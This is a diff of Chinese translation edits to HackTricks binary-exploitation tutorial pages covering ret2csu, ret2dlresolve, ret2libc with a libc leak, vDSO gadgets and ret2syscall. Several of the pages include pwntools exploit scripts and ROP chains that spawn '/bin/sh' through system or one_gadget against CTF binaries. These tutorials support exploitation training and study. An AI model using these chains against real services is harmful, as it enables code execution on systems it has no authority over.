在 **`__libc_csu_init`** 中,有两个指令序列(gadgets)值得强调:
|
||||
在 **`__libc_csu_init`** 中,有两个指令序列(gadgets)需要强调:
|
||||
|
||||
1. 第一个序列让我们可以在多个寄存器(rbx, rbp, r12, r13, r14, r15)中设置值。这些就像我们可以存储数字或地址的槽位,以便稍后使用。
|
||||
1. 第一个序列让我们可以在几个寄存器(rbx, rbp, r12, r13, r14, r15)中设置值。这些就像我们可以存储后续要使用的数字或地址的槽。
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
@ -24,7 +24,7 @@ pop r14;
|
||||
pop r15;
|
||||
ret;
|
||||
```
|
||||
这个小工具允许我们通过从栈中弹出值来控制这些寄存器。
|
||||
这个设备允许我们通过将值从栈弹出到这些寄存器来控制它们。
|
||||
|
||||
2. 第二个序列使用我们设置的值来做几件事:
|
||||
- **将特定值移动到其他寄存器中**,使它们准备好作为函数中的参数使用。
|
||||
@ -61,11 +61,11 @@ gef➤ search-pattern 0x400560
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
- `rbp` 和 `rbx` 必须具有相同的值以避免跳转
|
||||
- 有一些被省略的 pops 需要考虑
|
||||
- 需要考虑一些省略的 pops
|
||||
|
||||
## RDI 和 RSI
|
||||
|
||||
从 ret2csu gadget 控制 **`rdi`** 和 **`rsi`** 的另一种方法是通过访问特定的偏移量:
|
||||
从 ret2csu gadget 控制 **`rdi`** 和 **`rsi`** 的另一种方法是通过访问其特定偏移量:
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
@ -79,14 +79,14 @@ brop-blind-return-oriented-programming.md
|
||||
|
||||
### 使用调用
|
||||
|
||||
想象一下,你想进行系统调用或调用像 `write()` 这样的函数,但需要在 `rdx` 和 `rsi` 寄存器中作为参数的特定值。通常,你会寻找直接设置这些寄存器的 gadgets,但你找不到任何。
|
||||
想象一下,您想要进行系统调用或调用像 `write()` 这样的函数,但需要在 `rdx` 和 `rsi` 寄存器中具有特定值作为参数。通常,您会寻找直接设置这些寄存器的 gadgets,但找不到任何。
|
||||
|
||||
这时 **ret2csu** 就派上用场了:
|
||||
|
||||
1. **设置寄存器**:使用第一个魔法 gadget 从栈中弹出值到 rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx) 和 r15。
|
||||
2. **使用第二个 gadget**:在设置好这些寄存器后,使用第二个 gadget。这使你能够将所选值移动到 `rdx` 和 `rsi`(分别来自 r14 和 r13),为函数调用准备参数。此外,通过控制 `r15` 和 `rbx`,你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 地址的函数。
|
||||
1. **设置寄存器**:使用第一个魔法 gadget 从栈中弹出值并放入 rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx) 和 r15。
|
||||
2. **使用第二个 gadget**:在设置好这些寄存器后,使用第二个 gadget。这使您可以将所选值移动到 `rdx` 和 `rsi`(分别来自 r14 和 r13),为函数调用准备参数。此外,通过控制 `r15` 和 `rbx`,您可以使程序调用位于您计算并放入 `[r15 + rbx*8]` 的地址的函数。
|
||||
|
||||
你可以在这里找到一个 [**使用此技术并解释的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation),这是它使用的最终利用:
|
||||
您可以在这里找到一个 [**使用此技术并进行解释的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation),这是它使用的最终利用:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -111,7 +111,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
> [!WARNING]
|
||||
> 注意,之前的漏洞并不是为了实现 **`RCE`**,而是为了调用一个名为 **`win`** 的函数(从标准输入调用 gets 获取 `win` 的地址并将其存储在 r15 中),并带有一个值为 `0xdeadbeefcafed00d` 的第三个参数。
|
||||
> 请注意,之前的漏洞并不是为了实现 **`RCE`**,而是为了调用一个名为 **`win`** 的函数(从标准输入中获取 `win` 的地址,通过在 ROP 链中调用 gets 并将其存储在 r15 中),并传递一个值为 `0xdeadbeefcafed00d` 的第三个参数。
|
||||
|
||||
### 绕过调用并到达 ret
|
||||
|
||||
|
||||
@ -4,18 +4,19 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中解释的,缺少完整 Relro 的二进制文件在第一次使用时会解析符号(如外部库的地址)。这种解析通过调用函数 **`_dl_runtime_resolve`** 发生。
|
||||
正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中解释的,没有完全 Relro 的二进制文件在第一次使用时会解析符号(如外部库的地址)。这种解析通过调用函数 **`_dl_runtime_resolve`** 发生。
|
||||
|
||||
**`_dl_runtime_resolve`** 函数从栈中获取对一些它需要的结构的引用,以便 **解析** 指定的符号。
|
||||
|
||||
因此,可以 **伪造所有这些结构** 以使动态链接解析请求的符号(如 **`system`** 函数),并使用配置的参数调用它(例如 **`system('/bin/sh')`**)。
|
||||
因此,可以 **伪造所有这些结构** 以使动态链接解析请求的符号(如 **`system`** 函数)并使用配置的参数调用它(例如 **`system('/bin/sh')`**)。
|
||||
|
||||
通常,通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上伪造所有这些结构,然后将 **结构** 和字符串 **`'/bin/sh'`** 传递,以便它们被读取存储在已知位置,然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**,使其 **解析 `system` 的地址** 在伪造的结构中,并 **使用 `$'/bin/sh'` 的地址调用这个地址**。
|
||||
|
||||
> [!TIP]
|
||||
> 如果没有 syscall gadgets(使用如 [**ret2syscall**](rop-syscall-execv/index.html) 或 [SROP](srop-sigreturn-oriented-programming/index.html) 等技术),并且没有方法泄漏 libc 地址,这种技术特别有用。
|
||||
> 如果没有 syscall gadgets(以使用诸如 [**ret2syscall**](rop-syscall-execv/index.html) 或 [SROP](srop-sigreturn-oriented-programming/index.html) 的技术),并且没有方法泄漏 libc 地址,这种技术特别有用。
|
||||
|
||||
查看这个视频以获取关于此技术的良好解释,视频的后半部分:
|
||||
|
||||
查看这个视频,了解该技术在视频后半部分的精彩解释:
|
||||
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
@ -58,7 +59,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
|
||||
### 纯 Pwntools
|
||||
|
||||
您可以在[**此处找到此技术的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **包含对最终 ROP 链的非常好的解释**,但这里是使用的最终利用代码:
|
||||
您可以在[**此处找到此技术的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **包含对最终 ROP 链的非常好的解释**,但这里是使用的最终利用:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -188,6 +189,6 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32位,无relro,无canary,nx,无pie,基本的小缓冲区溢出和返回。为了利用它,bof被用来再次调用`read`,使用一个`.bss`段和更大的大小,以在其中存储`dlresolve`伪表以加载`system`,返回到main并重新利用初始bof来调用dlresolve,然后`system('/bin/sh')`。
|
||||
- 32位,无relro,无canary,nx,无pie,基本的小缓冲区溢出和返回。为了利用它,bof被用来再次调用`read`,使用`.bss`段和更大的大小,将`dlresolve`伪表存储在其中,以加载`system`,返回到main并重新利用初始bof调用dlresolve,然后`system('/bin/sh')`。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,20 +4,20 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**Ret2Libc** 的本质是将易受攻击程序的执行流重定向到共享库中的一个函数(例如,**system**、**execve**、**strcpy**),而不是在栈上执行攻击者提供的 shellcode。攻击者构造一个有效载荷,修改栈上的返回地址,使其指向所需的库函数,同时还安排任何必要的参数,以便根据调用约定正确设置。
|
||||
**Ret2Libc** 的本质是将易受攻击程序的执行流重定向到共享库中的一个函数(例如,**system**、**execve**、**strcpy**),而不是在栈上执行攻击者提供的 shellcode。攻击者构造一个有效载荷,修改栈上的返回地址,使其指向所需的库函数,同时确保根据调用约定正确设置任何必要的参数。
|
||||
|
||||
### **示例步骤(简化)**
|
||||
|
||||
- 获取要调用的函数的地址(例如 system)和要调用的命令(例如 /bin/sh)
|
||||
- 生成一个 ROP 链,以传递指向命令字符串的第一个参数,并将执行流传递给该函数
|
||||
- 生成一个 ROP 链,以将第一个参数传递给指向命令字符串的函数,并将执行流传递给该函数
|
||||
|
||||
## 查找地址
|
||||
|
||||
- 假设使用的 `libc` 是当前机器上的,可以使用以下命令找到它在内存中加载的位置:
|
||||
- 假设使用的 `libc` 是当前机器上的,可以使用以下命令找到它在内存中的加载位置:
|
||||
```bash
|
||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||
```
|
||||
如果你想检查 ASLR 是否在改变 libc 的地址,你可以执行:
|
||||
如果您想检查 ASLR 是否在更改 libc 的地址,您可以执行:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```
|
||||
@ -25,7 +25,7 @@ for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```bash
|
||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||
```
|
||||
- 知道使用的libc后,也可以找到字符串`/bin/sh`函数的偏移量:
|
||||
- 知道使用的libc后,还可以找到字符串`/bin/sh`函数的偏移量:
|
||||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
@ -39,9 +39,9 @@ find "/bin/sh"
|
||||
```
|
||||
### 使用 /proc/\<PID>/maps
|
||||
|
||||
如果进程在每次与其交互时(网络服务器)都在创建**子进程**,请尝试**读取**该文件(可能需要root权限)。
|
||||
如果进程在每次与其交互时(网络服务器)都在创建**子进程**,请尝试**读取**该文件(可能需要以root身份运行)。
|
||||
|
||||
在这里你可以找到**libc加载的确切位置**以及**每个子进程将要加载的位置**。
|
||||
在这里你可以找到**libc在进程中加载的确切位置**以及**每个子进程将要加载的位置**。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -49,7 +49,7 @@ find "/bin/sh"
|
||||
|
||||
## 未知的libc
|
||||
|
||||
可能你**不知道二进制文件加载的libc**(因为它可能位于你无法访问的服务器上)。在这种情况下,你可以利用漏洞**泄露一些地址并找出使用的libc**库:
|
||||
可能你**不知道二进制文件加载的libc**(因为它可能位于你没有访问权限的服务器上)。在这种情况下,你可以利用漏洞**泄露一些地址并找出使用的libc**库:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-address/
|
||||
@ -103,7 +103,7 @@ c.interactive()
|
||||
```
|
||||
## x64 Ret2lib 代码示例
|
||||
|
||||
查看示例来自:
|
||||
查看示例来自于:
|
||||
|
||||
{{#ref}}
|
||||
../
|
||||
@ -113,17 +113,17 @@ c.interactive()
|
||||
|
||||
在 ARM64 的情况下,ret 指令跳转到 x30 寄存器指向的位置,而不是栈寄存器指向的位置。因此,这要复杂一些。
|
||||
|
||||
此外,在 ARM64 中,一条指令执行其本身的操作(不可能在指令中间跳转并将其转换为新的指令)。
|
||||
此外,在 ARM64 中,一条指令执行其本身的功能(不可能在指令中间跳转并将其转换为新的指令)。
|
||||
|
||||
查看示例来自:
|
||||
查看示例来自于:
|
||||
|
||||
{{#ref}}
|
||||
ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
## Ret-into-printf (或 puts)
|
||||
## Ret-into-printf(或 puts)
|
||||
|
||||
这允许通过调用 `printf`/`puts` 并传入一些特定数据作为参数来**泄露进程中的信息**。例如,将 `puts` 在 GOT 中的地址放入 `puts` 的执行中将**泄露 `puts` 在内存中的地址**。
|
||||
这允许通过调用 `printf`/`puts` 并传入一些特定数据作为参数来**泄露进程中的信息**。例如,将 `puts` 的地址放入 GOT 中执行 `puts` 将**泄露 `puts` 在内存中的地址**。
|
||||
|
||||
## Ret2printf
|
||||
|
||||
@ -136,13 +136,13 @@ ret2lib-+-printf-leak-arm64.md
|
||||
## 其他示例与参考
|
||||
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
- Ret2lib,给定 libc 中一个函数的地址泄露,使用一个 gadget
|
||||
- Ret2lib,给出 libc 中函数地址的泄露,使用 one gadget
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到 canary 的字节 0x00,然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 调用 puts 来泄露 GOT 中 puts 的地址,然后再创建一个 ROP gadget 调用 `system('/bin/sh')`
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||||
- 64 位,启用 ASLR,没有 canary,主函数中的栈溢出来自子函数。ROP gadget 调用 puts 来泄露 GOT 中 puts 的地址,然后调用一个 gadget。
|
||||
- 64 位,启用 ASLR,没有 canary,主函数中的栈溢出来自子函数。ROP gadget 调用 puts 来泄露 GOT 中 puts 的地址,然后调用 one gadget。
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
|
||||
- 64 位,没有 pie,没有 canary,没有 relro,nx。使用 write 函数泄露 write(libc)的地址并调用一个 gadget。
|
||||
- 64 位,没有 pie,没有 canary,没有 relro,nx。使用 write 函数泄露 write(libc)的地址并调用 one gadget。
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
|
||||
- 使用格式字符串从栈中泄露 canary,并通过缓冲区溢出调用 system(它在 GOT 中)并传入 `/bin/sh` 的地址。
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
|
||||
@ -5,18 +5,18 @@
|
||||
## 快速概述
|
||||
|
||||
1. **找到** 溢出 **偏移量**
|
||||
2. **找到** `POP_RDI` gadget, `PUTS_PLT` 和 `MAIN` gadgets
|
||||
2. **找到** `POP_RDI` gadget、`PUTS_PLT` 和 `MAIN` gadgets
|
||||
3. 使用之前的 gadgets **泄露 puts 或其他 libc 函数的内存地址** 并 **找到 libc 版本** ([donwload it](https://libc.blukat.me))
|
||||
4. 使用库,**计算 ROP 并进行利用**
|
||||
4. 使用库,**计算 ROP 并利用它**
|
||||
|
||||
## 其他教程和二进制文件以供练习
|
||||
|
||||
本教程将利用本教程中提出的代码/二进制文件:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
另一个有用的教程:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
另一个有用的教程:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/),[https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
|
||||
## 代码
|
||||
|
||||
文件名: `vuln.c`
|
||||
文件名:`vuln.c`
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -69,9 +69,9 @@ cyclic_find(0x6161616b)
|
||||
|
||||
另一种方法是使用: `pattern create 1000` -- _执行直到 ret_ -- `pattern seach $rsp` 从 GEF。
|
||||
|
||||
## 2- 查找 Gadgets
|
||||
## 2- 寻找 Gadgets
|
||||
|
||||
现在我们需要在二进制文件中查找 ROP gadgets。这些 ROP gadgets 将用于调用 `puts` 以找到正在使用的 **libc**,并随后 **启动最终利用**。
|
||||
现在我们需要在二进制文件中找到 ROP gadgets。这些 ROP gadgets 将用于调用 `puts` 以找到正在使用的 **libc**,并随后 **启动最终的利用**。
|
||||
```python
|
||||
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
||||
MAIN_PLT = elf.symbols['main']
|
||||
@ -82,15 +82,15 @@ log.info("Main start: " + hex(MAIN_PLT))
|
||||
log.info("Puts plt: " + hex(PUTS_PLT))
|
||||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||
```
|
||||
`PUTS_PLT` 是调用 **function puts** 所需的。\
|
||||
`MAIN_PLT` 是在一次交互后再次调用 **main function** 以 **exploit** 溢出 **again**(无限次利用)的必要条件。**它在每个 ROP 的末尾用于再次调用程序**。\
|
||||
**POP_RDI** 是 **pass** 一个 **parameter** 给被调用函数所需的。
|
||||
The `PUTS_PLT` 是调用 **function puts** 所需的。\
|
||||
The `MAIN_PLT` 是在一次交互后再次调用 **main function** 所需的,以 **exploit** 溢出 **again**(无限轮次的利用)。 **它在每个 ROP 的末尾用于再次调用程序**。\
|
||||
The **POP_RDI** 是需要 **pass** 一个 **parameter** 给被调用的函数。
|
||||
|
||||
在这一步中,您不需要执行任何操作,因为所有内容将在执行过程中由 pwntools 找到。
|
||||
在这一步中,您不需要执行任何操作,因为所有内容将在执行期间由 pwntools 找到。
|
||||
|
||||
## 3- 查找 libc 库
|
||||
|
||||
现在是时候找出正在使用的 **libc** 库的版本了。为此,我们将 **leak** **function** `puts` 在内存中的 **address**,然后我们将 **search** 该地址中 puts 版本所在的 **library version**。
|
||||
现在是时候找出正在使用的 **libc** 库的版本了。为此,我们将 **leak** **function** `puts` 在内存中的 **address**,然后我们将 **search** 在该地址中 **library version** 的 puts 版本。
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
@ -124,25 +124,25 @@ p.interactive()
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
这将发送一些字节,直到**覆盖****RIP**为止:`OFFSET`。\
|
||||
然后,它将设置**gadget** `POP_RDI`的**地址**,以便下一个地址(`FUNC_GOT`)将被保存在**RDI**寄存器中。这是因为我们想要**调用 puts**,**传递**它`PUTS_GOT`的**地址**,因为 puts 函数在内存中的地址保存在指向`PUTS_GOT`的地址中。\
|
||||
之后,将调用`PUTS_PLT`(**RDI**中包含`PUTS_GOT`),因此 puts 将**读取**`PUTS_GOT`中的内容(**puts 函数在内存中的地址**)并**打印出来**。\
|
||||
最后,**再次调用主函数**,以便我们可以再次利用溢出。
|
||||
然后,它将设置小工具`POP_RDI`的**地址**,以便下一个地址(`FUNC_GOT`)将被保存在**RDI**寄存器中。这是因为我们想要**调用puts**,**传递**它`PUTS_GOT`的**地址**,因为puts函数在内存中的地址保存在指向`PUTS_GOT`的地址中。\
|
||||
之后,将调用`PUTS_PLT`(**RDI**中包含`PUTS_GOT`),因此puts将**读取**`PUTS_GOT`中的内容(**内存中puts函数的地址**)并**打印出来**。\
|
||||
最后,**主函数再次被调用**,以便我们可以再次利用溢出。
|
||||
|
||||
通过这种方式,我们已经**欺骗了 puts 函数**,使其**打印**出**内存**中**puts**函数的**地址**(该函数位于**libc**库中)。现在我们有了这个地址,我们可以**搜索正在使用的 libc 版本**。
|
||||
通过这种方式,我们已经**欺骗了puts函数**,使其**打印**出**内存**中**puts**函数的**地址**(该函数位于**libc**库中)。现在我们有了这个地址,我们可以**搜索正在使用的libc版本**。
|
||||
|
||||
.png>)
|
||||
|
||||
由于我们正在**利用**某个**本地**二进制文件,因此**不需要**弄清楚正在使用哪个版本的**libc**(只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到库)。\
|
||||
但是,在远程利用的情况下,我将在这里解释如何找到它:
|
||||
|
||||
### 3.1- 搜索 libc 版本 (1)
|
||||
### 3.1- 搜索libc版本 (1)
|
||||
|
||||
您可以在网页上搜索正在使用的库:[https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
它还允许您下载发现的**libc**版本。
|
||||
|
||||
.png>)
|
||||
|
||||
### 3.2- 搜索 libc 版本 (2)
|
||||
### 3.2- 搜索libc版本 (2)
|
||||
|
||||
您还可以执行:
|
||||
|
||||
@ -153,8 +153,8 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
这将需要一些时间,请耐心等待。\
|
||||
为了使其工作,我们需要:
|
||||
|
||||
- Libc 符号名称:`puts`
|
||||
- 泄露的 libc 地址:`0x7ff629878690`
|
||||
- Libc符号名称:`puts`
|
||||
- 泄露的libc地址:`0x7ff629878690`
|
||||
|
||||
我们可以找出最有可能使用的**libc**。
|
||||
```bash
|
||||
@ -173,7 +173,7 @@ Getting libc6_2.23-0ubuntu10_amd64
|
||||
```
|
||||
将 `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` 复制到我们的工作目录。
|
||||
|
||||
### 3.3- 其他泄漏函数
|
||||
### 3.3- 其他泄露函数
|
||||
```python
|
||||
puts
|
||||
printf
|
||||
@ -187,15 +187,15 @@ gets
|
||||
|
||||
因此,在 `template.py` 的开头,将 **libc** 变量更改为: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道时`
|
||||
|
||||
给 **libc 库** 提供 **路径** 后,**其余的利用将会自动计算**。
|
||||
提供 **libc 库** 的 **路径** 后,**其余的 exploit 将会自动计算**。
|
||||
|
||||
在 `get_addr` 函数内部,**libc 的基地址** 将被计算:
|
||||
在 `get_addr` 函数内部,**libc 的基地址** 将会被计算:
|
||||
```python
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 请注意,**最终的 libc 基地址必须以 00 结尾**。如果不是这种情况,您可能泄露了不正确的库。
|
||||
|
||||
然后,函数 `system` 的地址和字符串 _"/bin/sh"_ 的 **地址** 将从 **libc** 的 **基地址** 计算得出,并给出 **libc 库。**
|
||||
@ -227,7 +227,7 @@ p.interactive() #Interact with the conenction
|
||||
|
||||
## 4(2)- 使用 ONE_GADGET
|
||||
|
||||
你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获取一个 shell,而不是使用 **system** 和 **"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法,仅使用一个 **ROP 地址** 来获取 shell。\
|
||||
你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获取一个 shell,而不是使用 **system** 和 **"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法,仅使用一个 **ROP 地址** 来获取一个 shell。\
|
||||
然而,通常会有一些限制,最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值,你只需发送更多的 NULL 值以避免这个限制。
|
||||
|
||||
.png>)
|
||||
@ -239,6 +239,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
|
||||
您可以在此处找到利用此漏洞的模板:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
{{#endref}}
|
||||
@ -265,7 +266,7 @@ MAIN_PLT = 0x401080
|
||||
|
||||
如果在创建**所有**漏洞利用后发现此**错误**:`sh: 1: %s%s%s%s%s%s%s%s: 未找到`
|
||||
|
||||
尝试**从“/bin/sh”的地址中减去64字节**:
|
||||
尝试**从"/bin/sh"的地址中减去64字节**:
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
在 **vDSO 区域** 可能存在 **gadgets**,用于从用户模式切换到内核模式。在这类挑战中,通常会提供一个内核映像以转储 vDSO 区域。
|
||||
在 vDSO 区域可能存在 **gadgets**,用于从用户模式切换到内核模式。在这类挑战中,通常会提供一个内核映像以转储 vDSO 区域。
|
||||
|
||||
根据 [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) 的示例,可以看到如何转储 vdso 部分并将其移动到主机:
|
||||
```bash
|
||||
@ -32,7 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
|
||||
file vdso
|
||||
ROPgadget --binary vdso | grep 'int 0x80'
|
||||
```
|
||||
找到的 ROP 小工具:
|
||||
找到的 ROP gadgets:
|
||||
```python
|
||||
vdso_addr = 0xf7ffc000
|
||||
|
||||
@ -52,11 +52,11 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
|
||||
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 注意,如果内核使用 CONFIG_COMPAT_VDSO 编译,**通过 vdso 绕过 ASLR** 可能是可行的,因为 vdso 地址不会被随机化: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
> 注意,如果内核是使用 CONFIG_COMPAT_VDSO 编译的,**通过滥用 vdso 绕过 ASLR** 可能是可行的,因为 vdso 地址不会被随机化: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
|
||||
### ARM64
|
||||
|
||||
在 kali 2023.2 arm64 中转储并检查二进制文件的 vdso 部分后,我没有找到任何有趣的 gadget(无法通过堆栈中的值控制寄存器或控制 x30 进行返回)**除了调用 SROP 的方法**。请查看页面中的示例以获取更多信息:
|
||||
在 kali 2023.2 arm64 中转储并检查二进制文件的 vdso 部分后,我没有发现任何有趣的 gadget(无法通过堆栈中的值控制寄存器或控制 x30 进行返回)**除了调用 SROP 的方法**。请查看页面中的示例以获取更多信息:
|
||||
|
||||
{{#ref}}
|
||||
srop-sigreturn-oriented-programming/srop-arm64.md
|
||||
|
||||
@ -13,7 +13,7 @@
|
||||
- `rsi: 0 指定不传递参数`
|
||||
- `rdx: 0 指定不传递环境变量`
|
||||
|
||||
所以,基本上需要将字符串 `/bin/sh` 写入某个地方,然后执行 `syscall`(注意控制栈所需的填充)。为此,我们需要一个 gadget 来将 `/bin/sh` 写入已知区域。
|
||||
所以,基本上需要将字符串 `/bin/sh` 写入某个地方,然后执行 `syscall`(注意控制栈所需的填充)。为此,我们需要一个 gadget 来在已知区域写入 `/bin/sh`。
|
||||
|
||||
> [!TIP]
|
||||
> 另一个有趣的 syscall 是 **`mprotect`**,这将允许攻击者 **修改内存中页面的权限**。这可以与 [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html) 结合使用。
|
||||
@ -96,7 +96,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## 缺少小工具
|
||||
|
||||
如果您**缺少小工具**,例如在内存中写入`/bin/sh`,您可以使用**SROP技术来控制所有寄存器值**(包括RIP和参数寄存器)从栈中:
|
||||
如果您**缺少小工具**,例如在内存中写入`/bin/sh`,您可以使用**SROP技术来控制所有寄存器值**(包括RIP和参数寄存器)来自栈:
|
||||
|
||||
{{#ref}}
|
||||
../srop-sigreturn-oriented-programming/
|
||||
@ -172,10 +172,10 @@ target.interactive()
|
||||
## 其他示例与参考
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
||||
- 64 位,无 PIE,nx,在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。
|
||||
- 64 位,无 PIE,nx,在某些内存中写入一个 ROP 以调用 `execve` 并跳转到那里。
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
||||
- 64 位,nx,无 PIE,在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。为了向栈中写入执行数学运算的函数被滥用。
|
||||
- 64 位,nx,无 PIE,在某些内存中写入一个 ROP 以调用 `execve` 并跳转到那里。为了在栈上写入一个执行数学运算的函数被滥用。
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
